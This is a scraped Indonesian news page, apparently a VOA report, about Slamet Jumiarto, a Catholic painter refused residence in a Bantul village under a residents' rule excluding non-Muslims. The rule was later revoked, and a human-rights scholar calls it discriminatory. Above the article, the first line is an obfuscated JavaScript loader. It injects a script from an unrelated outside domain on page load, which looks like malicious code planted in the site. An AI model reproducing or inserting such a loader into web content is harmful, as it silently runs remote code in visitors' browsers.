(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
VOA

Karena Beda Agama, Slamet Jumiarto Ditolak Tinggal di Desa Pleret Bantul


Setelah sempat ditolak perangkat desa untuk menetap karena beda agama, akhirnya Slamet Jumiarto diperbolehkan tinggal; dan bahkan aturan yang memuat eksklusi sosial terhadap warga non-Muslim yang diberlakukan itu dicabut. Bagaimana sesungguhnya kasus ini?

Korespoden VOA Munarsih Sahana mewawancarai langsung Slamet Jumiarto di Yogyakarta dan berikut laporannya.

Slamet Jumiarto (42), seniman lukis yang mengontrak rumah Suroyo untuk jangka satu tahun di dusun Karet, Kecamatan Pleret, Kabupaten Bantul, DIY, awal pekan ini ditolak warga setempat karena ia menganut agama Katholik, sementara warga setempat semua beragama Islam.

Seusai mengikuti kegiatan di Gereja Pringgolayan Kotagede pada Rabu (3/4), Slamet menceritakan kronologi penolakan dirinya itu pada VOA. Ia mengatakan mulai pindahan ke dusun itu ada hari Sabtu (30/3). Sehari kemudian ia mendatangi rumah ketua RT untuk menyerahkan berkas surat yang dipersyaratkan bagi warga pendatang. Ia langsung ditolak karena adanya aturan bahwa warga menolak pendatang non-muslim. Peraturan yang tidak pernah dilaporkan ke pemerintah desa tersebut dibuat warga tahun 2015.

“Tanggal 31 Maret 2019 saya datang ke tempat pak RT 08 mengumpulkan berkas surat Nikah, KTP dan Kartu Keluarga. Begitu melihat kita ini Katholik, non Muslim, kita ditolak dengan alasan karena ada kesepakatan warga di dusun Karet bahwa warga non-Islam ditolak tidak boleh bertempat tinggal semetara maupun permanen. Pagi harinya (tanggal 1 April 2019) saya ketemu Ketua Kampung, sama saja saya ditolak, akhirnya saya putuskan untuk melaporkan hal ini ke sekretaris Sultan Hamengkubuwono X (Gubernur DIY),” ujarnya.

Karena kecewa, Slamet melaporkan kejadian itu kepada sekretaris Sultan Hamengkubuwono X yang meneruskannya kepada Sekda DIY dan selanjutnya disampaikan ke Pemerintah Kabupaten Bantul.

Sepanjang Senin dan Selasa malam dilangsungkan mediasi yang melibatkan unsur aparat dan warga yang akhirnya memutuskan mengubah keputusan warga dan Slamet diterima tinggal di dusun Karet.

“Yang pasti aturan dari desa setempat yang melarang pendatang harus Islam itu dicabut, sementara saya sekeluarga masih berembug dan belum kami putuskan entah akan tetap tinggal di situ atau pindah. Yang pasti dengan kejadian ini saya berharap ini menjadi pembelajaran kita semua, jangan sampai kejadian ini juga ada di desa-desa lain,” paparnya.

Slamet, seniman lukis yang sempat ditolak tinggal di dusun Karet Kecamatan Pleret Bantul, Daeah Istimewa Yogyakarta karena ia menganut agama Katholik sementara warga setempat semua beragama Islam.
Foto: VOA/Munarsih Sahana

Eko Riyadi, Direktur Pusat Studi HAM Universitas Islam Indonesia (UII) Yogyakarta menilai, peraturan lokal warga Dusun Karet tersebut diskriminatif dan melanggar prinsip kebebasan beragama. Sebab, hak beragama merupakan hak fundamental yang diakui oleh Pasal 28 dan 29 UUD 1945, pasal 18 Deklarasi Universal HAM PBB dan Pasal 18 ICCPR. Kebebasan beragama juga diakui dalam UU No.39 tahun 1999 tentang HAM.

“Kewajiban negara-lah untuk mengedukasi warga-negaranya atau aparatur terbawah bahwa hal itu bertentangan dengan konsep Negara Hukum yang diterapkan di Indonesia. Tugas Kabupaten Bantul yang harus segera mengklarifikasi, kemudian meminta agar peraturan itu diubah karena peraturan itu kalau tidak segera diubah, jangan-jangan akan direplikasi oleh dusun-dusun yang lain. Itu bukan hanya melanggar HAM tetapi juga akan memporak-porandakan bangunan negara Republik Indonesia kita,” kata Eko.

Menurut Eko Riyadi, berdasarkan observasi yang dilakukan PUSHAM UII, pasca Era Reformasi di wilayah DIY tumbuh bentuk-bentuk eksklusifisme di masyarakat yang disebut sebagai Conservative Turn, termasuk merebaknya sewa kamar khusus agama tertentu dan komplek-komplek perumahan dengan agama bahkan afiliasi politik yang sama.

“Situasi itu memang dalam beberapa hal alamiah karena negara otoritarianisme itu berakhir, kran kebebasan dibuka kemudian kontestasi publiknya menjadi semakin luas dan aktor yang berkontestasi juga semakin beragam. Tetapi pada situasi itu pemerintah harus segera mendorong adanya kesepakatan bagaimana ruang-ruang publik dikelola secara bersama-sama dengan prinsip kesetaraan dan non-diskriminasi,” tambah Eko.


Page: 1 2

Desy Arfianty

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

9 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

11 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

11 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

12 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

13 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

15 jam ago

This website uses cookies.